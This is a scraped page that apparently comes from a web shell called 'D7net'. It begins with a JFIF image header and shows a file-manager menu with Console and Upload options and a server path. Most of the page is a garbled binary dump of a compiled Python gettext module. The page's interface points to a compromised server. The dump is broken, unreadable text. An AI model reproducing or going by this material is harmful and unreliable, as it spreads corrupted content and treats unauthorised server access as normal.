����JFIF���������
1#@!#!123s
D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
opt
/
alt
/
python37
/
lib64
/
python3.7
/
__pycache__
/
Filename :
gettext.cpython-37.opt-2.pyc
back
Copy
B ����YI~d�U������������������@���st��d�dl�Z�d�dlZd�dlZd�dlZdddddddd d ddd dddddgZej�ejdd�Ze� dej ejB��Zdd��Z dd��ZdZdd��eed�D��Zddd d!�Zd=d#d$�Zd%d&��Zd'd(��Zd)d*��ZG�d+d��d�ZG�d,d��de�Zd>d.d�Zi�Zd?d/d�Zd@d0d�Zi�ai�ad1adAd2d�ZdBd3d �Z dCd4d �Z!d5d��Z"d6d��Z#d7d��Z$d8d��Z%d9d ��Z&d:d��Z'd;d��Z(d<d��Z)eZ*dS�)D�����N�NullTranslations�GNUTranslations�Catalog�find�translation�install� textdomain�bindtextdomain�bind_textdomain_codeset�dgettext� dngettext�gettext�lgettext� ldgettext� ldngettext� lngettext�ngettextZshare�localea��� (?P<WHITESPACES>[ \t]+) | # spaces and horizontal tabs (?P<NUMBER>[0-9]+\b) | # decimal integer (?P<NAME>n\b) | # only n is allowed (?P<PARENTHESIS>[()]) | (?P<OPERATOR>[-*/%+?:]|[><!]=?|==|&&|\|\|) | # !, *, /, %, +, -, <, >, # <=, >=, ==, !=, &&, ||, # ? : # unary and bitwise ops # not allowed (?P<INVALID>\w+|.) # invalid token c�������������c���sT���xHt��t|��D�]8}|j}|dkr"q|�|�}|dkr@td|���|V��qW�dV��d�S�)N�WHITESPACES�INVALIDz invalid token in plural form: %s��)�re�finditer�_token_pattern� lastgroup�group� ValueError)�plural�mo�kind�value��r!����,/opt/alt/python37/lib64/python3.7/gettext.py� _tokenizeV���s���� r#���c�������������C���s���|�rt�d|���S�t�d�S�d�S�)Nz#unexpected token in plural form: %szunexpected end of plural form)r���)r ���r!���r!���r"����_errora���s����r$���))z||)z&&)z==z!=)�<�>z<=z>=)�+�-)�*�/�%c�������������C���s ���i�|�]\}}|D�] }||�qqS�r!���r!���)�.0�iZops�opr!���r!���r"���� <dictcomp>o���s����r/��������or�andz//)z||z&&r*������c�������������C���s���d}t�|��}x|dkr(|d7�}t�|��}qW�|dkr\t|��\}}d||f�}|dkr�td��nP|dkrrd ||f�}n:yt|d �}W�n�tk r����t|�d��Y�nX�d||f�}t�|��}d}xh|tk�r t|�}||k�r�P�|d kr�|d kr�d|�}t�||�}t|�|d��\} }d||| f�}|}q�W�||��k�r:dk�rFn�nd|�}|dk�r�|dk�r�t|�d�\} }|dk�rzt|��t|��\}}d| ||f�}|dk�r�d|�}||fS�)Nr����!znot �(z%s(%s)�)z%unbalanced parenthesis in plural form�nz%s%s� ���z%s%d�d���)��������z(%s)r0���z%s %s %sr;����?r����:z%s if %s else %s)�next�_parser����intr$����_binary_ops� _c2py_ops�get)�tokens�priority�result�nexttok�subr ����jr-���r.����right�if_true�if_falser!���r!���r"���r?���r���sP���� r?���c�������������C���sZ���yt�|��}W�n(�tk r4���td|�jjf��d��Y�nX�dd�l}|�d|�jjf�td��|�S�)Nz'Plural value must be an integer, got %sr���r;���)�round� TypeError� __class__�__name__�warnings�warn�DeprecationWarning)r7���r-���rQ���r!���r!���r"����_as_int����s���� rT���c�������������C���s����t�|��dkrtd��y~tt|���\}}|r2t|��d}x>|D�]6}|dkrb|d7�}|dkrrtd��q<|dkr<|d8�}q<W�d ti}td |�|��|d�S��tk r����td��Y�nX�d�S�)Ni���z"plural form expression is too longr���r5���r0�������z%plural form expression is too complexr6���rT���z�if True: def func(n): if not isinstance(n, int): n = _as_int(n) return int(%s) �func)�lenr���r?���r#���r$���rT����exec�RecursionError)r���rF���rG����depth�c�nsr!���r!���r"����c2py����s(���� r]���c������� ������C���s8��t��|��}�d}d}d}d}|��d�}|dkrN|�|d���}|�d�|��}�||O�}nd}|��d�}|dkr�|�|d���}|�d�|��}�||O�}nd}|��d�}|dkr�|�|d���}|�d�|��}�||O�}nd}|�} g�} x`t|d��D�]P}||�@�s�| }||@�r�||7�}||@��r||7�}||@��r||7�}| �|��q�W�| ����| S�) Nr0�������r;���r����@r����.�_)r���� normalizer����range�append�reverse) �loc�COMPONENT_CODESET�COMPONENT_TERRITORY�COMPONENT_MODIFIER�mask�pos�modifier�codeset� territory�language�retr-����valr!���r!���r"����_expand_lang����sJ���� � � �rr���c���������������@���sp���e�Zd�Zddd�Zdd��Zdd��Zdd ��Zd d��Zdd ��Zdd��Z dd��Z dd��Zdd��Zdd��Z ddd�ZdS�)r���Nc�������������C���s.���i�|�_�d�|�_d�|�_d�|�_|d�k r*|��|��d�S�)N)�_info�_charset�_output_charset� _fallbackr?���)�self�fpr!���r!���r"����__init__����s����zNullTranslations.__init__c�������������C���s���d�S�)Nr!���)rw���rx���r!���r!���r"���r?�����s����zNullTranslations._parsec�������������C���s���|�j�r|�j��|��n||�_�d�S�)N)rv����add_fallback)rw����fallbackr!���r!���r"���rz��� ��s����zNullTranslations.add_fallbackc�������������C���s���|�j�r|�j��|�S�|S�)N)rv���r ���)rw����messager!���r!���r"���r �����s����zNullTranslations.gettextc�������������C���s2���|�j�r|�j��|�S�|�jr$|�|�j�S�|�t����S�)N)rv���r���ru����encoder����getpreferredencoding)rw���r|���r!���r!���r"���r�����s ����zNullTranslations.lgettextc�������������C���s*���|�j�r|�j��|||�S�|dkr"|S�|S�d�S�)Nr0���)rv���r���)rw����msgid1�msgid2r7���r!���r!���r"���r�����s ����zNullTranslations.ngettextc�������������C���sH���|�j�r|�j��|||�S�|dkr$|}n|}|�jr:|�|�j�S�|�t����S�)Nr0���)rv���r���ru���r}���r���r~���)rw���r���r����r7����tmsgr!���r!���r"���r���#��s����zNullTranslations.lngettextc�������������C���s���|�j�S�)N)rs���)rw���r!���r!���r"����info.��s����zNullTranslations.infoc�������������C���s���|�j�S�)N)rt���)rw���r!���r!���r"����charset1��s����zNullTranslations.charsetc�������������C���s���|�j�S�)N)ru���)rw���r!���r!���r"����output_charset4��s����zNullTranslations.output_charsetc�������������C���s ���||�_�d�S�)N)ru���)rw���r����r!���r!���r"����set_output_charset7��s����z#NullTranslations.set_output_charsetc�������������C���sv���dd�l�}|�j|jd<�t|d�rrd|kr6|jd�|jd<�d|krJ|�j|jd<�d|kr^|�j|jd<�d|krr|�j|jd<�d�S�)Nr���ra����__contains__r ���r���r���r���)�builtinsr ����__dict__�hasattrr���r���r���)rw����namesr����r!���r!���r"���r���:��s���� zNullTranslations.install)N)N)rP���� __module__�__qualname__ry���r?���rz���r ���r���r���r���r����r����r����r����r���r!���r!���r!���r"���r�������s��� c���������������@���sH���e�Zd�ZdZdZdZdd��Zdd��Zdd ��Zd d��Z dd ��Z dd��ZdS�)r���l����*�l����$<�)r���r0���c�������������C���s���|d?�|d@�fS�)N����i����r!���)rw����versionr!���r!���r"���� _get_versionsP��s����zGNUTranslations._get_versionsc�������"������C���s���ddl�m}�t|dd�}i��|�_}dd��|�_|���}t|�}|d|d�d���d�}||�jkr||d |dd ���\}} } }d}n6||�jkr�|d|dd ���\}} } }d }nt dd|��|�� |�\} }| |�jkr�t ddt| ��|���xt d| �D��]�}|||| | d����\}}||�}|||||d����\}}||�}||k��rd||k��rd|||��}|||��}nt dd|��|dk�rXd�}x�|�d�D�]�}|������}|�s��q�d��}}d|k�r�|�dd�\}}|������}|���}||�j|<�|}n|�r|�j|��d|�7��<�|dk�r"|�d�d�|�_n0|dk�r�|�d�}|d��d�d�}t|�|�_�q�W�|�j�pbd}d|k�r�|�d�\}} |�d�}t||�}x>t|�D�]\}}!t|!|�|||f<��q�W�nt||�|t||�<�| d7�} |d7�}q�W�d�S�)Nr���)�unpack�namer���c�������������S���s���t�|�dk�S�)Nr0���)r@���)r7���r!���r!���r"����<lambda>]�������z(GNUTranslations._parse.<locals>.<lambda>z<Ir;���z<4IrU���z<IIz>4Iz>IIzBad magic numberzBad version number ����zFile is corrupt���� r=���r0���� zcontent-typezcharset=zplural-forms�;zplural=�ascii�����)�structr�����getattr�_catalogr����readrW����LE_MAGIC�BE_MAGIC�OSErrorr�����VERSIONS�strrc����split�decode�strip�lowerrs���rt���r]���� enumerate)"rw���rx���r�����filename�catalog�buf�buflen�magicr�����msgcount� masteridx�transidx�ii� major_version� minor_versionr-����mlen�moff�mend�tlen�toff�tend�msgr�����lastk�b_item�item�k�vr���r����r���r�����xr!���r!���r"���r?���T��sr���� zGNUTranslations._parsec�������������C���sR���t���}|�j�||�}||kr2|�jr.|�j�|�S�|}|�jrD|�|�j�S�|�t����S�)N) �objectr����rC���rv���r���ru���r}���r���r~���)rw���r|����missingr����r!���r!���r"���r������s����zGNUTranslations.lgettextc�������������C���sv���y|�j�||��|�f�}W�n<�tk rT���|�jr>|�j�|||�S�|dkrL|}n|}Y�nX�|�jrh|�|�j�S�|�t����S�)Nr0���) r����r����KeyErrorrv���r���ru���r}���r���r~���)rw���r���r����r7���r����r!���r!���r"���r������s���� zGNUTranslations.lngettextc�������������C���s6���t���}|�j�||�}||kr2|�jr.|�j�|�S�|S�|S�)N)r����r����rC���rv���r ���)rw���r|���r����r����r!���r!���r"���r ������s����zGNUTranslations.gettextc�������������C���sZ���y|�j�||��|�f�}W�n<�tk rT���|�jr>|�j�|||�S�|dkrL|}n|}Y�nX�|S�)Nr0���)r����r���r����rv���r���)rw���r���r����r7���r����r!���r!���r"���r������s���� zGNUTranslations.ngettextN)rP���r����r����r����r����r����r����r?���r���r���r ���r���r!���r!���r!���r"���r���H��s���V Fc�������������C���s����|d�krt�}|d�krTg�}x(dD�] }tj�|�}|r|�d�}P�qW�d|krT|�d��g�}x0|D�](}x"t|�D�]}||krl|�|��qlW�q^W�|r�g�} nd�} xL|D�]D}|dkr�P�tj�||dd|���} tj� | �r�|r�| �| ��q�| S�q�W�| S�)N)�LANGUAGE�LC_ALL�LC_MESSAGES�LANGr=����Cr����z%s.mo) �_default_localedir�os�environrC���r����rd���rr����path�join�exists)�domain� localedir� languages�all�envarrq����nelangs�lang�nelangrF����mofiler!���r!���r"���r������s8���� c���������� ���C���s����|d�krt�}t|�||dd�}|sB|r*t��S�ddlm}�t|d|���d�}x�|D�]�} |tj�| �f} t � | �}|d�kr�t| d��}t �| ||��}W�d�Q�R�X�dd�l } | � |�}|r�|�|��|d�kr�|}qL|�|��qLW�|S�)NT)r����r���)�ENOENTz$No translation file found for domain�rb)r���r���r����errnor�����FileNotFoundErrorr����r�����abspath� _translationsrC����open� setdefault�copyr����rz���)r����r����r�����class_r{���rm����mofilesr����rF���r�����key�trx���r����r!���r!���r"���r�����s0���� c�������������C���s���t�|�|d|d�}|�|��d�S�)NT)r{���rm���)r���r���)r����r����rm���r����r����r!���r!���r"���r���&��s�����messagesc�������������C���s���|�d�k r|�a�t�S�)N)�_current_domain)r����r!���r!���r"���r���4��s����c�������������C���s���|d�k r|t�|�<�t��|�t�S�)N)�_localedirsrC���r����)r����r����r!���r!���r"���r ���;��s����c�������������C���s���|d�k r|t�|�<�t��|��S�)N)�_localecodesetsrC���)r����rm���r!���r!���r"���r ���B��s����c�������������C���s@���y t�|�t�|�d��t�|��d�}W�n�tk r4���|S�X�|�|�S�)N)rm���)r���r����rC���r����r����r ���)r����r|���r����r!���r!���r"���r���I��s����c�������������C���sR���t��|��}yt|�t�|�d��|d�}W�n"�tk rF���|�|pBt����S�X�|�|�S�)N)rm���) r����rC���r���r����r����r}���r���r~���r���)r����r|���rm���r����r!���r!���r"���r���Q��s���� c�������������C���sT���y t�|�t�|�d��t�|��d�}W�n$�tk rD���|dkr<|S�|S�Y�nX�|�|||�S�)N)rm���r0���)r���r����rC���r����r����r���)r����r���r����r7���r����r!���r!���r"���r���Y��s���� c�������������C���sh���t��|��}yt|�t�|�d��|d�}W�n4�tk rX���|dkrB|}n|}|�|pTt����S�X�|�|||�S�)N)rm���r0���) r����rC���r���r����r����r}���r���r~���r���)r����r���r����r7���rm���r����r����r!���r!���r"���r���d��s���� c�������������C���s ���t�t|��S�)N)r���r����)r|���r!���r!���r"���r ���p��s����c�������������C���s ���t�t|��S�)N)r���r����)r|���r!���r!���r"���r���s��s����c�������������C���s���t�t|�||�S�)N)r���r����)r���r����r7���r!���r!���r"���r���v��s����c�������������C���s���t�t|�||�S�)N)r���r����)r���r����r7���r!���r!���r"���r���y��s����)r3���)NNF)NNNFN)NNN)N)N)N)+r���r����r����sys�__all__r����r�����base_prefixr�����compile�VERBOSE�DOTALLr���r#���r$���rA���r����rB���r?���rT���r]���rr���r���r���r���r����r���r���r����r����r����r���r ���r ���r���r���r���r���r ���r���r���r���r���r!���r!���r!���r"����<module>1���sV��� 1$*K� &� #